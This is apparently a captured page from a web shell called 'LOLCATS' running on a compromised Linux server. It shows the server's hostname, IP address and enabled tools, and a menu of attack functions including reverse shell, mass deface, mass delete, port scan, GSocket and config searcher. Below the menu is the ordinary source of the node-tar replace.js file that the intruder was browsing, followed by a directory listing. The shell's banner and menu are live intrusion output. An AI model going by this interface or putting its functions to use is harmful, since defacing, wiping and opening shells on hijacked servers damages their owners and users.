LOLCATS

: /usr/local/lib/node_modules/firebase-tools/node_modules/tar/lib/ [ drwxr-xr-x ]

Information Server

System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
Software: Apache/2.4.52 (Ubuntu)
PHP Version: 8.4.10 PHP Os: Linux
Server IP: 77.237.233.165
Your IP: 10.6.7.99
User: www-data [33] | Group: [www-data] [33]
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: ON | WGET: ON | CURL: ON | GCC: ON | PKEXEC: ON
Disable Function:

NONE

Command ON Config Searcher Create RDP Find Modified Time Find File Get Tools GSocket Jumping Lock File Mass Deface Mass Delete Mass Chmod Mass Change Date Port Scan Reverse Shell Upload Zone-H

: replace.js

'use strict'

// tar -r
const hlo = require('./high-level-opt.js')
const Pack = require('./pack.js')
const fs = require('fs')
const fsm = require('fs-minipass')
const t = require('./list.js')
const path = require('path')

// starting at the head of the file, read a Header
// If the checksum is invalid, that's our position to start writing
// If it is, jump forward by the specified size (round up to 512)
// and try again.
// Write the new Pack stream starting there.

const Header = require('./header.js')

module.exports = (opt_, files, cb) => {
  const opt = hlo(opt_)

if (!opt.file) {
    throw new TypeError('file is required')
  }

if (opt.gzip || opt.brotli || opt.file.endsWith('.br') || opt.file.endsWith('.tbr')) {
    throw new TypeError('cannot append to compressed archives')
  }

if (!files || !Array.isArray(files) || !files.length) {
    throw new TypeError('no files or directories specified')
  }

files = Array.from(files)

return opt.sync ? replaceSync(opt, files)
    : replace(opt, files, cb)
}

const replaceSync = (opt, files) => {
  const p = new Pack.Sync(opt)

let threw = true
  let fd
  let position

try {
    try {
      fd = fs.openSync(opt.file, 'r+')
    } catch (er) {
      if (er.code === 'ENOENT') {
        fd = fs.openSync(opt.file, 'w+')
      } else {
        throw er
      }
    }

const st = fs.fstatSync(fd)
    const headBuf = Buffer.alloc(512)

POSITION: for (position = 0; position < st.size; position += 512) {
      for (let bufPos = 0, bytes = 0; bufPos < 512; bufPos += bytes) {
        bytes = fs.readSync(
          fd, headBuf, bufPos, headBuf.length - bufPos, position + bufPos
        )

if (position === 0 && headBuf[0] === 0x1f && headBuf[1] === 0x8b) {
          throw new Error('cannot append to compressed archives')
        }

if (!bytes) {
          break POSITION
        }
      }

const h = new Header(headBuf)
      if (!h.cksumValid) {
        break
      }
      const entryBlockSize = 512 * Math.ceil(h.size / 512)
      if (position + entryBlockSize + 512 > st.size) {
        break
      }
      // the 512 for the header we just parsed will be added as well
      // also jump ahead all the blocks for the body
      position += entryBlockSize
      if (opt.mtimeCache) {
        opt.mtimeCache.set(h.path, h.mtime)
      }
    }
    threw = false

streamSync(opt, p, position, fd, files)
  } finally {
    if (threw) {
      try {
        fs.closeSync(fd)
      } catch (er) {}
    }
  }
}

const streamSync = (opt, p, position, fd, files) => {
  const stream = new fsm.WriteStreamSync(opt.file, {
    fd: fd,
    start: position,
  })
  p.pipe(stream)
  addFilesSync(p, files)
}

const replace = (opt, files, cb) => {
  files = Array.from(files)
  const p = new Pack(opt)

const getPos = (fd, size, cb_) => {
    const cb = (er, pos) => {
      if (er) {
        fs.close(fd, _ => cb_(er))
      } else {
        cb_(null, pos)
      }
    }

let position = 0
    if (size === 0) {
      return cb(null, 0)
    }

let bufPos = 0
    const headBuf = Buffer.alloc(512)
    const onread = (er, bytes) => {
      if (er) {
        return cb(er)
      }
      bufPos += bytes
      if (bufPos < 512 && bytes) {
        return fs.read(
          fd, headBuf, bufPos, headBuf.length - bufPos,
          position + bufPos, onread
        )
      }

if (position === 0 && headBuf[0] === 0x1f && headBuf[1] === 0x8b) {
        return cb(new Error('cannot append to compressed archives'))
      }

// truncated header
      if (bufPos < 512) {
        return cb(null, position)
      }

const h = new Header(headBuf)
      if (!h.cksumValid) {
        return cb(null, position)
      }

const entryBlockSize = 512 * Math.ceil(h.size / 512)
      if (position + entryBlockSize + 512 > size) {
        return cb(null, position)
      }

position += entryBlockSize + 512
      if (position >= size) {
        return cb(null, position)
      }

if (opt.mtimeCache) {
        opt.mtimeCache.set(h.path, h.mtime)
      }
      bufPos = 0
      fs.read(fd, headBuf, 0, 512, position, onread)
    }
    fs.read(fd, headBuf, 0, 512, position, onread)
  }

const promise = new Promise((resolve, reject) => {
    p.on('error', reject)
    let flag = 'r+'
    const onopen = (er, fd) => {
      if (er && er.code === 'ENOENT' && flag === 'r+') {
        flag = 'w+'
        return fs.open(opt.file, flag, onopen)
      }

if (er) {
        return reject(er)
      }

fs.fstat(fd, (er, st) => {
        if (er) {
          return fs.close(fd, () => reject(er))
        }

getPos(fd, st.size, (er, position) => {
          if (er) {
            return reject(er)
          }
          const stream = new fsm.WriteStream(opt.file, {
            fd: fd,
            start: position,
          })
          p.pipe(stream)
          stream.on('error', reject)
          stream.on('close', resolve)
          addFilesAsync(p, files)
        })
      })
    }
    fs.open(opt.file, flag, onopen)
  })

return cb ? promise.then(cb, cb) : promise
}

const addFilesSync = (p, files) => {
  files.forEach(file => {
    if (file.charAt(0) === '@') {
      t({
        file: path.resolve(p.cwd, file.slice(1)),
        sync: true,
        noResume: true,
        onentry: entry => p.add(entry),
      })
    } else {
      p.add(file)
    }
  })
  p.end()
}

const addFilesAsync = (p, files) => {
  while (files.length) {
    const file = files.shift()
    if (file.charAt(0) === '@') {
      return t({
        file: path.resolve(p.cwd, file.slice(1)),
        noResume: true,
        onentry: entry => p.add(entry),
      }).then(_ => addFilesAsync(p, files))
    } else {
      p.add(file)
    }
  }
  p.end()
}

NAME	TYPE	LAST MODIFIED	SIZE	OWNER / GROUP	PERMISSIONS	ACTION
..
create.js	f!le	2024-12-10 9:34	2.34 KB	root / root	-rw-r--r--
extract.js	f!le	2024-12-10 9:34	2.79 KB	root / root	-rw-r--r--
get-write-flag.js	f!le	2024-12-10 9:34	921 B	root / root	-rw-r--r--
header.js	f!le	2024-12-10 9:34	8.94 KB	root / root	-rw-r--r--
high-level-opt.js	f!le	2024-12-10 9:34	760 B	root / root	-rw-r--r--
large-numbers.js	f!le	2024-12-10 9:34	2.18 KB	root / root	-rw-r--r--
list.js	f!le	2024-12-10 9:34	3.15 KB	root / root	-rw-r--r--
mkdir.js	f!le	2024-12-10 9:34	5.36 KB	root / root	-rw-r--r--
mode-fix.js	f!le	2024-12-10 9:34	649 B	root / root	-rw-r--r--
normalize-unicode.js	f!le	2024-12-10 9:34	412 B	root / root	-rw-r--r--
normalize-windows-path.js	f!le	2024-12-10 9:34	410 B	root / root	-rw-r--r--
pack.js	f!le	2024-12-10 9:34	9.79 KB	root / root	-rw-r--r--
parse.js	f!le	2024-12-10 9:34	15.94 KB	root / root	-rw-r--r--
path-reservations.js	f!le	2024-12-10 9:34	4.31 KB	root / root	-rw-r--r--
pax.js	f!le	2024-12-10 9:34	3.97 KB	root / root	-rw-r--r--
read-entry.js	f!le	2024-12-10 9:34	2.78 KB	root / root	-rw-r--r--
replace.js	f!le	2024-12-10 9:34	5.64 KB	root / root	-rw-r--r--
strip-absolute-path.js	f!le	2024-12-10 9:34	917 B	root / root	-rw-r--r--
strip-trailing-slashes.js	f!le	2024-12-10 9:34	394 B	root / root	-rw-r--r--
types.js	f!le	2024-12-10 9:34	1.07 KB	root / root	-rw-r--r--
unpack.js	f!le	2024-12-10 9:34	25.23 KB	root / root	-rw-r--r--
update.js	f!le	2024-12-10 9:34	937 B	root / root	-rw-r--r--
warn-mixin.js	f!le	2024-12-10 9:34	725 B	root / root	-rw-r--r--
winchars.js	f!le	2024-12-10 9:34	535 B	root / root	-rw-r--r--
write-entry.js	f!le	2024-12-10 9:34	14.94 KB	root / root	-rw-r--r--